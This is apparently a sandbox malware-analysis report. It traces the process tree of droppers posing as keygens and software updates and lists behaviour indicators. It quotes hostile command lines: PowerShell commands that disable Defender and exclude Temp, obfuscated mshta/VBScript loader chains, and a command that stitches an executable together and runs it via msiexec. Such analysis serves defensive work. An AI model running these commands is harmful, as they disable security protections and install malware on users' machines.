Wed09e95ff6b5.exe7tSafS6VO7T7Bj0IzX23mNZA.exeExplorer.EXEpid process 2140 Wed09e95ff6b5.exe 2140 Wed09e95ff6b5.exe 2140 Wed09e95ff6b5.exe 2140 Wed09e95ff6b5.exe 2140 Wed09e95ff6b5.exe 2140 Wed09e95ff6b5.exe 2140 Wed09e95ff6b5.exe 2140 Wed09e95ff6b5.exe 2140 Wed09e95ff6b5.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 2960 Explorer.EXE 2960 Explorer.EXE 2960 Explorer.EXE 2960 Explorer.EXE 2960 Explorer.EXE 2960 Explorer.EXE 2960 Explorer.EXE 2960 Explorer.EXE 2960 Explorer.EXE 2960 Explorer.EXE 2960 Explorer.EXE -
Suspicious use of SetWindowsHookEx 64 IoCs
Processes:
Password_is_5432764372___BitlyWindows10t.exeCrowdInspect64.exesetup_x86_x64_install.exesetup_installer.exesetup_install.exeWed09f257bb7877d00b2.exeWed09e95ff6b5.exeWed09db0d52c38.exeWed094c47c32b.exeConhost.exeWed09abf83d9c2.exeWed09d27135e5a8b3b.tmpWed09d27135e5a8b3b.exeWed09d27135e5a8b3b.tmpWed09abf83d9c2.exerun.exe7tSafS6VO7T7Bj0IzX23mNZA.exepostback.exeinst1.exeExplorer.EXEsearch_hyperfs_206.exesetup.exeCalculator Installation.exewangting-game.exeMicrosoftEdge.exeAppLaunch.exeLzmwAqmV.exe3633257.exeAppLaunch.exeAltrove.exe.comhAsi4SkWff9wB27krZcQwiFM.exefbryn2v5wMjnvWzSDNekX3yf.exedrBU9VmRknQ_vIbycQ1TRJja.exeuqU30ZEqXanLoKHETUfsMFnI.exeTYqkP0BGsITbAqtS0zzQKGqK.exe1Uyk4qFSwyW1EXfQbuSo_xnL.exen5v5rXBtVfUwFazL5gcyH5nd.exeCMjkI8RBSAd9eKlLZu4TDzBu.executm3.exeFCo5i_wxm1RQVTWzj9BT6Y_a.exezErjzXlUnzToTE2TAAXJkw4a.exeaUWn94KiBw4hRviTZDKtkVqK.exeAppLaunch.exeMicrosoftEdgeCP.exeAltrove.exe.comAltrove.exe.comAltrove.exe.comAltrove.exe.comAltrove.exe.comsetup.exetaskkill.exeAltrove.exe.comAltrove.exe.comhAlU__saBPw5tUQn8Z2qeLrX.execmd.exeKnMdtQYEPU7PBAbsTQJpULu4.exeAltrove.exe.com3CsPL6IiZKIic_AMo2K_El4C.exeWW4sA1wrJ90B5Ype_fT7KQHo.exe8rknjJZgHCZpB3_9rRRXaCTP.exeWW4sA1wrJ90B5Ype_fT7KQHo.tmpAltrove.exe.comAltrove.exe.compid process 2688 Password_is_5432764372___BitlyWindows10t.exe 2688 Password_is_5432764372___BitlyWindows10t.exe 916 CrowdInspect64.exe 2332 setup_x86_x64_install.exe 3376 setup_installer.exe 1740 setup_install.exe 2992 Wed09f257bb7877d00b2.exe 2140 Wed09e95ff6b5.exe 3548 Wed09db0d52c38.exe 4312 Wed094c47c32b.exe 4340 Conhost.exe 4556 Wed09abf83d9c2.exe 4680 Wed09d27135e5a8b3b.tmp 4888 Wed09d27135e5a8b3b.exe 5032 Wed09d27135e5a8b3b.tmp 1284 Wed09abf83d9c2.exe 4452 run.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 2144 postback.exe 4408 inst1.exe 2960 Explorer.EXE 5624 search_hyperfs_206.exe 5728 setup.exe 5928 Calculator Installation.exe 5820 wangting-game.exe 4580 MicrosoftEdge.exe 644 AppLaunch.exe 5024 LzmwAqmV.exe 3892 3633257.exe 7056 AppLaunch.exe 5608 Altrove.exe.com 5700 hAsi4SkWff9wB27krZcQwiFM.exe 5428 fbryn2v5wMjnvWzSDNekX3yf.exe 7000 drBU9VmRknQ_vIbycQ1TRJja.exe 4196 uqU30ZEqXanLoKHETUfsMFnI.exe 6516 TYqkP0BGsITbAqtS0zzQKGqK.exe 5292 1Uyk4qFSwyW1EXfQbuSo_xnL.exe 4472 n5v5rXBtVfUwFazL5gcyH5nd.exe 5952 CMjkI8RBSAd9eKlLZu4TDzBu.exe 7184 cutm3.exe 7340 FCo5i_wxm1RQVTWzj9BT6Y_a.exe 7772 zErjzXlUnzToTE2TAAXJkw4a.exe 3376 aUWn94KiBw4hRviTZDKtkVqK.exe 8172 AppLaunch.exe 7140 MicrosoftEdgeCP.exe 2400 Altrove.exe.com 5984 Altrove.exe.com 5892 Altrove.exe.com 4204 Altrove.exe.com 7496 Altrove.exe.com 7628 setup.exe 2348 taskkill.exe 4012 Altrove.exe.com 8036 Altrove.exe.com 7264 hAlU__saBPw5tUQn8Z2qeLrX.exe 1048 cmd.exe 5100 KnMdtQYEPU7PBAbsTQJpULu4.exe 4664 Altrove.exe.com 7436 3CsPL6IiZKIic_AMo2K_El4C.exe 2068 WW4sA1wrJ90B5Ype_fT7KQHo.exe 4152 8rknjJZgHCZpB3_9rRRXaCTP.exe 7688 WW4sA1wrJ90B5Ype_fT7KQHo.tmp 4944 Altrove.exe.com 3564 Altrove.exe.com -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Software-update-patc_649073113.exeSoftware-update-patc_649073113.tmpsetup_x86_x64_install.exesetup_installer.exesetup_install.exePsglobal59_5_9_0_serial_keygen.execmd.execmd.execmd.execmd.exedescription pid process target process PID 1604 wrote to memory of 1680 1604 Software-update-patc_649073113.exe Software-update-patc_649073113.tmp PID 1604 wrote to memory of 1680 1604 Software-update-patc_649073113.exe Software-update-patc_649073113.tmp PID 1604 wrote to memory of 1680 1604 Software-update-patc_649073113.exe Software-update-patc_649073113.tmp PID 1680 wrote to memory of 2940 1680 Software-update-patc_649073113.tmp Dolore.exe PID 1680 wrote to memory of 2940 1680 Software-update-patc_649073113.tmp Dolore.exe PID 1680 wrote to memory of 2940 1680 Software-update-patc_649073113.tmp Dolore.exe PID 2332 wrote to memory of 3376 2332 setup_x86_x64_install.exe setup_installer.exe PID 2332 wrote to memory of 3376 2332 setup_x86_x64_install.exe setup_installer.exe PID 2332 wrote to memory of 3376 2332 setup_x86_x64_install.exe setup_installer.exe PID 3376 wrote to memory of 1740 3376 setup_installer.exe setup_install.exe PID 3376 wrote to memory of 1740 3376 setup_installer.exe setup_install.exe PID 3376 wrote to memory of 1740 3376 setup_installer.exe setup_install.exe PID 1740 wrote to memory of 2952 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 2952 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 2952 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 2704 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 2704 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 2704 1740 setup_install.exe cmd.exe PID 3792 wrote to memory of 1996 3792 Psglobal59_5_9_0_serial_keygen.exe cmd.exe PID 3792 wrote to memory of 1996 3792 Psglobal59_5_9_0_serial_keygen.exe cmd.exe PID 3792 wrote to memory of 1996 3792 Psglobal59_5_9_0_serial_keygen.exe cmd.exe PID 1740 wrote to memory of 3260 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 3260 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 3260 1740 setup_install.exe cmd.exe PID 2952 wrote to memory of 3840 2952 cmd.exe powershell.exe PID 2952 wrote to memory of 3840 2952 cmd.exe powershell.exe PID 2952 wrote to memory of 3840 2952 cmd.exe powershell.exe PID 2704 wrote to memory of 4004 2704 cmd.exe powershell.exe PID 2704 wrote to memory of 4004 2704 cmd.exe powershell.exe PID 2704 wrote to memory of 4004 2704 cmd.exe powershell.exe PID 1740 wrote to memory of 1380 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 1380 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 1380 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 3944 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 3944 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 3944 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 400 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 400 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 400 1740 setup_install.exe cmd.exe PID 3260 wrote to memory of 2992 3260 cmd.exe Wed09f257bb7877d00b2.exe PID 3260 wrote to memory of 2992 3260 cmd.exe Wed09f257bb7877d00b2.exe PID 1740 wrote to memory of 3264 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 3264 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 3264 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 3972 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 3972 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 3972 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 1216 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 1216 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 1216 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 1200 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 1200 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 1200 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 1300 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 1300 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 1300 1740 setup_install.exe cmd.exe PID 1216 wrote to memory of 1936 1216 cmd.exe Wed0901eb1dae126e32.exe PID 1216 wrote to memory of 1936 1216 cmd.exe Wed0901eb1dae126e32.exe PID 1216 wrote to memory of 1936 1216 cmd.exe Wed0901eb1dae126e32.exe PID 1740 wrote to memory of 2956 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 2956 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 2956 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 2288 1740 setup_install.exe cmd.exe PID 1740 wrote to memory of 2288 1740 setup_install.exe cmd.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
-
outlook_win_path 1 IoCs
Processes:
ZHefyshowyvi.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook ZHefyshowyvi.exe
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe2⤵
-
C:\Users\Admin\AppData\Roaming\evbuveiC:\Users\Admin\AppData\Roaming\evbuvei2⤵
-
C:\Users\Admin\AppData\Roaming\tsbuveiC:\Users\Admin\AppData\Roaming\tsbuvei2⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\Password_is_5432764372___BitlyWindows10t.exe"C:\Users\Admin\AppData\Local\Temp\Password_is_5432764372___BitlyWindows10t.exe"2⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\CrowdInspect64.exe"C:\Users\Admin\Desktop\CrowdInspect64.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Новый текстовый документ.txt2⤵
-
C:\Users\Admin\Desktop\Software-update-patc_649073113.exe"C:\Users\Admin\Desktop\Software-update-patc_649073113.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-MCLNU.tmp\Software-update-patc_649073113.tmp"C:\Users\Admin\AppData\Local\Temp\is-MCLNU.tmp\Software-update-patc_649073113.tmp" /SL5="$3022C,3427571,240640,C:\Users\Admin\Desktop\Software-update-patc_649073113.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Dignissimos\dolor\Dolore.exe"C:\Program Files (x86)\Dignissimos/\dolor\Dolore.exe" 8e44798543c092df913aeba5431fb5a54⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\mOYrIBHn\2Vt7PNmo61KljYvoSu3.exeC:\Users\Admin\AppData\Local\Temp\mOYrIBHn\2Vt7PNmo61KljYvoSu3.exe /usthree SUB=8e44798543c092df913aeba5431fb5a55⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\mOYrIBHn\2Vt7PNmo61KljYvoSu3.exeC:\Users\Admin\AppData\Local\Temp\mOYrIBHn\2Vt7PNmo61KljYvoSu3.exe /usthree SUB=8e44798543c092df913aeba5431fb5a56⤵
-
C:\Users\Admin\AppData\Local\Temp\1M03fqOX\srlT0HOPwYSugJmNsy5n.exeC:\Users\Admin\AppData\Local\Temp\1M03fqOX\srlT0HOPwYSugJmNsy5n.exe /quiet SILENT=1 AF=606x8e44798543c092df913aeba5431fb5a55⤵
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=606x8e44798543c092df913aeba5431fb5a5 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\1M03fqOX\srlT0HOPwYSugJmNsy5n.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\1M03fqOX\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1635139200 /quiet SILENT=1 AF=606x8e44798543c092df913aeba5431fb5a5 " AF="606x8e44798543c092df913aeba5431fb5a5" AI_EXTEND_GLASS="26"6⤵
-
C:\Users\Admin\AppData\Local\Temp\NEzcHQw3\PIZeOjH2FDgNjSibAZ.exeC:\Users\Admin\AppData\Local\Temp\NEzcHQw3\PIZeOjH2FDgNjSibAZ.exe /VERYSILENT5⤵
-
C:\Users\Admin\AppData\Local\Temp\Skype.exeC:\Users\Admin\AppData\Local\Temp\Skype.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\Qxvmz8I8\vpn.exeC:\Users\Admin\AppData\Local\Temp\Qxvmz8I8\vpn.exe /silent /subid=510x8e44798543c092df913aeba5431fb5a55⤵
-
C:\Users\Admin\AppData\Local\Temp\is-4NJCM.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-4NJCM.tmp\vpn.tmp" /SL5="$5034A,15170975,270336,C:\Users\Admin\AppData\Local\Temp\Qxvmz8I8\vpn.exe" /silent /subid=510x8e44798543c092df913aeba5431fb5a56⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "7⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap09018⤵
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "7⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap09018⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies system certificate store
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall7⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Desktop\setup_x86_x64_install.exe"C:\Users\Admin\Desktop\setup_x86_x64_install.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\setup_install.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09f257bb7877d00b2.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed09f257bb7877d00b2.exeWed09f257bb7877d00b2.exe6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09d8d6edfaff2ac.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed09d8d6edfaff2ac.exeWed09d8d6edfaff2ac.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\7tSafS6VO7T7Bj0IzX23mNZA.exe"C:\Users\Admin\Pictures\Adobe Films\7tSafS6VO7T7Bj0IzX23mNZA.exe"7⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\gmrODb2EdKO90W7fYxJQIuWB.exe"C:\Users\Admin\Pictures\Adobe Films\gmrODb2EdKO90W7fYxJQIuWB.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\hAsi4SkWff9wB27krZcQwiFM.exe"C:\Users\Admin\Pictures\Adobe Films\hAsi4SkWff9wB27krZcQwiFM.exe"7⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\hAsi4SkWff9wB27krZcQwiFM.exe"C:\Users\Admin\Pictures\Adobe Films\hAsi4SkWff9wB27krZcQwiFM.exe"8⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\STeSujNohlIoBLP8ZfdF7v58.exe"C:\Users\Admin\Pictures\Adobe Films\STeSujNohlIoBLP8ZfdF7v58.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\Be9XFdtjiwZyLI9WjDsmienk.exe"C:\Users\Admin\Pictures\Adobe Films\Be9XFdtjiwZyLI9WjDsmienk.exe"7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\fbryn2v5wMjnvWzSDNekX3yf.exe"C:\Users\Admin\Pictures\Adobe Films\fbryn2v5wMjnvWzSDNekX3yf.exe"7⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Documents\lb7f2M9u88acwcmne7zFtnir.exe"C:\Users\Admin\Documents\lb7f2M9u88acwcmne7zFtnir.exe"8⤵
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\CNlKHNCnC0M4nYZIJjDNlj0S.exe"C:\Users\Admin\Pictures\Adobe Films\CNlKHNCnC0M4nYZIJjDNlj0S.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\LkhK2wKQ9hg8uBSGmALKcKt8.exe"C:\Users\Admin\Pictures\Adobe Films\LkhK2wKQ9hg8uBSGmALKcKt8.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\hAlU__saBPw5tUQn8Z2qeLrX.exe"C:\Users\Admin\Pictures\Adobe Films\hAlU__saBPw5tUQn8Z2qeLrX.exe"9⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe11⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\94LMopdOix0uHJNtm2TBV1kM.exe"C:\Users\Admin\Pictures\Adobe Films\94LMopdOix0uHJNtm2TBV1kM.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\KnMdtQYEPU7PBAbsTQJpULu4.exe"C:\Users\Admin\Pictures\Adobe Films\KnMdtQYEPU7PBAbsTQJpULu4.exe"9⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\KnMdtQYEPU7PBAbsTQJpULu4.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\KnMdtQYEPU7PBAbsTQJpULu4.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\KnMdtQYEPU7PBAbsTQJpULu4.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\KnMdtQYEPU7PBAbsTQJpULu4.exe" ) do taskkill -f -iM "%~NxM"11⤵
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi12⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )13⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"14⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )13⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC14⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "15⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"15⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC15⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "KnMdtQYEPU7PBAbsTQJpULu4.exe"12⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\3CsPL6IiZKIic_AMo2K_El4C.exe"C:\Users\Admin\Pictures\Adobe Films\3CsPL6IiZKIic_AMo2K_El4C.exe"9⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\WW4sA1wrJ90B5Ype_fT7KQHo.exe"C:\Users\Admin\Pictures\Adobe Films\WW4sA1wrJ90B5Ype_fT7KQHo.exe"9⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-8CUE7.tmp\WW4sA1wrJ90B5Ype_fT7KQHo.tmp"C:\Users\Admin\AppData\Local\Temp\is-8CUE7.tmp\WW4sA1wrJ90B5Ype_fT7KQHo.tmp" /SL5="$20516,506127,422400,C:\Users\Admin\Pictures\Adobe Films\WW4sA1wrJ90B5Ype_fT7KQHo.exe"10⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-L1R1R.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-L1R1R.tmp\DYbALA.exe" /S /UID=270911⤵
- Drops file in Drivers directory
-
